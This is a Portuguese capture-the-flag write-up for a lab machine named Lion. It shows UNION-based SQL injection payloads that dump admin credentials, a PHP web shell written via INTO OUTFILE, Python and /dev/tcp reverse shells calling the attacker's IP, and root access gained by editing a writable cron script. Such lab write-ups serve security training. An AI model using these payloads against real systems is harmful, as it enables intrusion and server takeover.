

Write-Up - Lion

Write-up lion

Tags: **SQL INJECTION, CRONTAB**

Varredura nmap:

Como primeiro passo precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então, vamos usar uma ferramenta chamada **nmap**.

Ports:

```
kali in ~/Desktop/UhcLabs/Lion > sudo nmap -p- -Pn -min-rate 300 -oG Allports 172.31.30.46

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-21 19:11 CDT
Nmap scan report for 172.31.30.46
Host is up (0.25s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
3306/tcp   open  mysql

Nmap done: 1 IP address (1 host up) scanned in 211.07 seconds
kali in ~/Desktop/UhcLabs/Lion > █
```

- Porta 22 - SSH
- Porta 80 - HTTP
- Porta 111 - RCPBIND
- Porta 3306 - MYSQL

Varredura ffuf:

Usaremos uma ferramenta chamada **ffuf**, que usa uma lista de palavras existente de possíveis nomes de diretórios comuns e tentará carregar todos os nomes de diretórios nessa lista de palavras e, então, olhará o código de status. (Se estiver usando Kali ou ParrotOS, você pode encontrar essas listas de palavras em `/usr/share/wordlists/dirbuster`)

```
kali in ~/Desktop/UncLabs/Lion λ ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://172.31.30.46/FUZZ -e .php -ic
```



v1.3.1 Kali Exclusive <3

```
:: Method      : GET
:: URL         : http://172.31.30.46/FUZZ
:: Wordlist     : FUZZ: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
:: Extensions  : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405
```

```
images      [Status: 301, Size: 235, Words: 14, Lines: 8]
category.php [Status: 200, Size: 8289, Words: 2468, Lines: 234]
index.php   [Status: 200, Size: 5111, Words: 1634, Lines: 173]
search.php  [Status: 200, Size: 8289, Words: 2468, Lines: 234]
mail        [Status: 200, Size: 7363, Words: 2364, Lines: 232]
admin       [Status: 301, Size: 233, Words: 14, Lines: 8]
plugin      [Status: 301, Size: 234, Words: 14, Lines: 8]
css         [Status: 301, Size: 236, Words: 14, Lines: 8]
includes    [Status: 301, Size: 232, Words: 14, Lines: 8]
contact-us.php [Status: 301, Size: 237, Words: 14, Lines: 8]
js          [Status: 200, Size: 2694, Words: 561, Lines: 87]
about-us.php [Status: 301, Size: 231, Words: 14, Lines: 8]
vendor      [Status: 200, Size: 2581, Words: 559, Lines: 87]
```

Temos a página de administração → **/admin**, mas não temos a senha.

Infelizmente, o campo **login** não está vulnerável a **SQLi**.

NEWS\$ PORTAL
Admin login

Log In

search.php

Jasprit Bumrah ruled out of England T20I series due to injury

[Read More →](#)

Posted on 2018-06-30 18:49:23

Tata Steel, Thyssenkrupp Finalise Landmark Steel Deal

[Read More →](#)

Posted on 2018-06-30 19:08:56

Search

Categories

[Bollywood](#)
[Sports](#)
[Entertainment](#)
[Politics](#)
[Business](#)

Recent News

- [Jasprit Bumrah ruled out of England](#)

Temos um campo "**Search**", vou escrever a palavra "**teste**" neste campo.

E ao passar teste para esse campo, ele nos retorna a **primeira flag** =)

Jasprit Bumrah ruled out of England T20I series due to injury

[Read More →](#)

Posted on 2018-06-30 18:49:23

Tata Steel, Thyssenkrupp Finalise Landmark Steel Deal

[Read More →](#)

Posted on 2018-06-30 19:08:56

Search

Categories

[Bollywood](#)
[Sports](#)
[Entertainment](#)
[Politics](#)
[Business](#)

Recent News

- [Jasprit Bumrah ruled out of England](#)

No record found - uhc{[REDACTED]}

Search

Categories

[Bollywood](#)[Sports](#)[Entertainment](#)[Politics](#)[Business](#)

SQL Injection

O próximo passo é tentaremos injetar alguns comandos de **SQLi** pra verificar se esse parâmetro é vulnerável a **SQL injection**.

Primeiro, precisamos identificar o número de colunas da tabela.

```
' union select 1,2,3,4,5,6#
```

No record found - uhc{1nv4l1d_s3arch_qu3ry}

Search

Categories

[Bollywood](#)[Sports](#)[Entertainment](#)[Politics](#)[Business](#)

Não retornou nada, vamos aumentar o número das colunas.

```
' union select 1,2,3,4,5,6,7#
```

[Read More →](#)

Posted on 2018-06-30 19:10:36

[for contribution to peacekeeping](#)

- [Shah holds meeting with NE states leaders in Manipur](#)

Shah holds meeting with NE states leaders in Manipur

[Read More →](#)

Posted on 2018-06-30 19:11:44

2

[Read More →](#)

Posted on 6

Certo, aparentemente temos **7** colunas, e o número **2** foi refletido, vamos usar a coluna **2** para obter informações do banco de dados, usarei o seguinte comando para ver qual é a versão do banco de dados.

```
' union select 1,@@version,3,4,5,6,7#
```

Shah holds meeting with NE states leaders in Manipur

[Read More →](#)

Posted on 2018-06-30 19:11:44

5.5.68-MariaDB

[Read More →](#)

Posted on 6

[First](#) [Prev](#) [Next](#) [Last](#)

O resultado da consulta é **5.5.68-Maria-DB**, agora irei pegar o nome do banco de dados.

```
' union select 1,database(),3,4,5,6,7#
```

Shah holds meeting with NE states leaders in Manipur

[Read More →](#)

Posted on 2018-06-30 19:11:44

news

[Read More →](#)

Posted on 6

[First](#) [Prev](#) [Next](#) [Last](#)

Temos o nome do banco de dados, agora pegarei os nomes das tabelas desse banco de dados.

```
' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema = 'news' #
```

tbladmin

[Read More →](#)

Posted on 6

tblcategory

[Read More →](#)

Posted on 6

tblcomments

[Read More →](#)

Posted on 6

tblpages

[Read More →](#)

Posted on 6

tblposts

[Read More →](#)

Posted on 6

tblsubcategory

[Read More →](#)

- **tbladmin**
- **tblcategory**
- **tblcomments**
- **tblpages**

- **tblposts**
- **tblsubcategory**

Temos os nomes das 6 tabelas, a tabela mais importante para nós é a tabela "**tbladmin**", então iremos listar as colunas dessa tabela.

```
' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'tbladmin'#
```

id	
Read More	
Posted on 6	
AdminUserName	
Read More	
Posted on 6	
AdminPassword	
Read More	
Posted on 6	
AdminEmailid	
Read More	
Posted on 6	
Is_Active	
Read More	
Posted on 6	
CreationDate	
Read More	
Posted on 6	
UpdationDate	
Read More	
Posted on 6	

- **id**
- **AdminUserName**
- **AdminPassword**
- **AdminEmailid**
- **Is_Active**
- **CreationDate**
- **UpdationDate**

Para nós as mais importantes são **AdminUserName & AdminPassword**, então irei pegar os valores dessas, aqui vamos usar a função **concat** que me permite adicionar duas ou mais expressões juntas.

```
' union select 1,concat(AdminUserName,":",AdminPassword),3,4,5,6,7 from tbladmin#
```

Shah holds meeting with NE states leaders in Manipur

[Read More →](#)

Posted on 2018-06-30 19:11:44

admin:\$2y\$12\$hu9MjecXIjTfVg8VW8hTtOb8E
Wdd3muA773vZa7r5m0QepC9PJ4b.

[Read More →](#)

Posted on 6

[First](#) [Prev](#) [Next](#) [Last](#)

O **Bcrypt** oferece uma maior segurança do que os outros algoritmos criptográficos porque contém uma variável que é proporcional à quantidade de processamento necessário para criptografar a informação desejada, tornando-o resistente a ataques do tipo “força-bruta”.

Portanto não será possível quebrar esse **hash** 😞

Mas, como temos **Injeção de SQL**, podemos tentar escrever uma webshell **php** em algum diretório que temos permissão de escrita.

Payload:

```
<?php system($_GET['cmd']) ?>
```

Depois de testar alguns diretórios, como:

- /var/www/html
- /var/www/html/images
- /var/www/html/vendor

Consigo gravar no diretório **/var/www/html/includes** o arquivo **cmd.php** que contém a payload.

Comando **SQL** utilizado para gravar o arquivo:

```
' union select 1, "<?php system($_GET['cmd']) ?>", 3, 4, 5, 6, 7 into outfile "/var/www/html/includes/cmd.php" #
```

Portanto se acessarmos **/includes**, veremos que nosso arquivo foi gravado com sucesso =).


```
[kali@kali]~/Desktop/UhcLabs/Lion
$nc -lvp 4444
listening on [any] 4444 ...
```

```
http://$site/includes/cmd.php?cmd=python -c 'import
socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<IP>",
<PORT>)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty; pty.spawn("sh")'
```

E recebemos a conexão 😊

```
[kali@kali]~/Desktop/UhcLabs/Lion
$nc -lvp 4444
listening on [any] 4444 ...
172.31.30.46: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [172.31.30.46] 39688
sh-4.2$
```

Shell tty

Atualizando shell simples para TTYs totalmente interativos.

```
python -c "import pty;pty.spawn('/bin/bash')"
```

Ctrl+Z

```
stty raw -echo;fg
```

Enter

```
export TERM=xterm
```

```

[kali@kali]~/Desktop/UhcLabs/Lion
nc -lvp 4444
listening on [any] 4444 ...
172.31.30.46: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [172.31.30.46] 39688
sh-4.2$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ ^Z
[1]+  Stopped                  nc -lvp 4444
[kali@kali]~/Desktop/UhcLabs/Lion
nc -lvp 4444
$stty raw -echo;fg
nc -lvp 4444

bash-4.2$ export TERM=xterm
bash-4.2$

```

Indo na raiz → / do sistema encontramos a nossa **segunda flag**.

```

bash-4.2$ ls
bin  dev  flag.txt  lib  local  mnt  proc  run  srv  tmp  var
boot  etc  home  lib64  media  opt  root  sbin  sys  usr
bash-4.2$ cat flag.txt
uhc{S...}
bash-4.2$

```

Privesc

<https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS>

LinPEAS é um script que procura caminhos possíveis para escalar privilégios em hosts Linux / Unix * / MacOS. As verificações são explicadas em <https://book.hacktricks.xyz/linux-unix/privilege-escalation>.

Baixando o **LinPEAS** na nossa máquina.

```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
```

```
kali in ~/Desktop/UhcLabs/Lion & wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
--2022-03-21 20:45:59-- https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
Resolving github.com (github.com)... 20.201.28.151
Connecting to github.com (github.com)|20.201.28.151|:443 ... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github.com/carlospolop/PEASS-ng/releases/download/20220320/linpeas.sh [following]
--2022-03-21 20:45:59-- https://github.com/carlospolop/PEASS-ng/releases/download/20220320/linpeas.sh
Reusing existing connection to github.com:443.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/82d43676-4fda-4c83-9751-74faa187dbbc?X-Amz-Algorithm=AWS4-HMAC-SHA
s4_request&X-Amz-Date=20220322T014558Z&X-Amz-Expires=300&X-Amz-Signature=8b1ad3b57d1011efb9662d1a404c6fdbb4fb4bf385c2631f4689d18f8dc184e8&X-Amz-SignedHeaders=host&
ent%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream [following]
--2022-03-21 20:45:59-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/82d43676-4fda-4c83-9751-74faa187dbbc?X-Amz-Algorithm=
ast-1%2Fs3%2Faws4_request&X-Amz-Date=20220322T014558Z&X-Amz-Expires=300&X-Amz-Signature=8b1ad3b57d1011efb9662d1a404c6fdbb4fb4bf385c2631f4689d18f8dc184e8&X-Amz-Sign
osition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775707 (758K) [application/octet-stream]
Saving to: 'linpeas.sh'

linpeas.sh                                     100%[=====]

2022-03-21 20:46:00 (7.64 MB/s) - 'linpeas.sh' saved [775707/775707]

kali in ~/Desktop/UhcLabs/Lion & ls
└─ Allports ── linpeas.sh
kali in ~/Desktop/UhcLabs/Lion & █
```

Agora, iremos subir um servidor em python na nossa máquina para podermos enviar o **LinPEAS** pro servidor que nós comprometemos.

```
kali in ~/Desktop/UhcLabs/Lion & ls
└─ Allports ── linpeas.sh
kali in ~/Desktop/UhcLabs/Lion & sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
█
```

No servidor que comprometemos, iremos dar os seguintes comandos:

```
cd /tmp

wget http://<IP-VPN>/linpeas.sh

chmod +x linpeas.sh
```

```

bash-4.2$ cd /tmp
bash-4.2$ wget 10.10.14.2/linpeas.sh
--2022-03-22 01:49:01-- http://10.10.14.2/linpeas.sh
Connecting to 10.10.14.2:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775707 (758K) [text/x-sh]
Saving to: 'linpeas.sh'

100%[=====>] 775,707      265KB/s   in 2.9s

2022-03-22 01:49:04 (265 KB/s) - 'linpeas.sh' saved [775707/775707]

bash-4.2$ chmod +x linpeas.sh
bash-4.2$ ls
linpeas.sh
bash-4.2$ ls -la
total 760
drwxrwxrwt  2 root  root    24 Mar 22 01:49 .
dr-xr-xr-x 18 root  root   273 Mar 19  2021 ..
-rwxr-xr-x  1 apache apache 775707 Mar 20 05:49 linpeas.sh
bash-4.2$

```

./linpeas.sh

```

/etc/cron.daily:
total 24
drwxr-xr-x  2 root  root    57 Mar  4  2021 .
drwxr-xr-x 85 root  root  8192 Mar 22 00:08 ..
-rwx----- 1 root  root    219 Jul 27  2018 logrotate
-rwxr-xr-x  1 root  root    618 Apr 29  2019 man-db.cron
-rwx----- 1 root  root    208 Jul 27  2018 mlocate

/etc/cron.hourly:
total 16
drwxr-xr-x  2 root  root    22 Mar  4  2021 .
drwxr-xr-x 85 root  root  8192 Mar 22 00:08 ..
-rwxr-xr-x  1 root  root    392 Jan 16  2020 0anacron

/etc/cron.monthly:
total 12
drwxr-xr-x  2 root  root     6 Oct 18  2017 .
drwxr-xr-x 85 root  root  8192 Mar 22 00:08 ..

/etc/cron.weekly:
total 12
drwxr-xr-x  2 root  root     6 Oct 18  2017 .
drwxr-xr-x 85 root  root  8192 Mar 22 00:08 ..

/var/spool/anacron:
total 12
drwxr-xr-x  2 root  root    63 Mar  4  2021 .
drwxr-xr-x  9 root  root    97 Mar  4  2021 ..
-rw----- 1 root  root     9 Mar 19  2021 cron.daily
-rw----- 1 root  root     9 Mar 19  2021 cron.monthly
-rw----- 1 root  root     9 Mar 19  2021 cron.weekly
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

* * * * * root /opt/lion/lion.backup.sh

```

Escalonamento de privilégios do Linux explorando Cronjobs:

O que é um cron job?

Os **Cron Jobs** são usados para agendar tarefas executando comandos em datas e horários específicos no servidor. Eles são mais comumente usados para tarefas de administrador de sistemas, como backups ou limpeza de diretórios /tmp/ e assim por diante. A palavra Cron vem do crontab e está presente no diretório /etc.

Indo até /opt/lion temos um arquivo [lion.bakcup.sh](#) que é um cronjob do usuário root.

E pra nossa felicidade, temos permissão de escrita nesse arquivo.

Podemos colocar uma shell reversa dentro desse arquivo.

Como é um cronjob do usuário `root`, esse arquivo está configurado para ser executado a cada 1 minuto.

```
bash-4.2$ pwd
/opt/lion
bash-4.2$ ls -al
total 20
drwxr-xr-x 2 root root  44 Mar 22 01:54 .
drwxr-xr-x 5 root root  39 Mar 19 2021 ..
-rw-r--r-- 1 root root 13803 Mar 22 01:54 dump.sql
-rwxr-xrwx 1 root root  377 Mar 19 2021 lion.backup.sh
bash-4.2$
```

Agora iremos editar esse arquivo e colocar nossa reverse shell.

Pay load:

```
#!/bin/bash
```

```
/bin/bash -c 'sh -i >& /dev/tcp/<IP-VPN>/1337 0>&1'
```

```
GNU nano 2.9.8      lion.backup.sh      Modified
#!/bin/bash
/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.2/1337 0>&1'
^G Get Help  ^O Write Out ^W Where Is  ^K Cut Text  ^J Justify   ^C Cur Pos
^X Exit      ^R Read File ^\ Replace   ^U Uncut Text ^T To Linter ^_ Go To Line
```

Após salvar, iremos abrir o ouvinte do netcat para podermos receber a conexão:

```
[kali@kali]~/Desktop/UhcLabs/Lion
$nc -lvp 1337
listening on [any] 1337 ...
```

Agora basta esperar 1 minuto, que é o tempo de execução que está configurado no cron job.
E temos shell de root =), agora basta ler a **última flag**.

```
[kali@kali]~/Desktop/UhcLabs/Lion
$nc -lvp 1337
listening on [any] 1337 ...
172.31.30.46: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [172.31.30.46] 48602
sh: no job control in this shell
sh-4.2# pwd
/root
sh-4.2# ls
ls
root.txt
sh-4.2# cat root.txt
cat root.txt
uhc{[REDACTED]}
sh-4.2#
```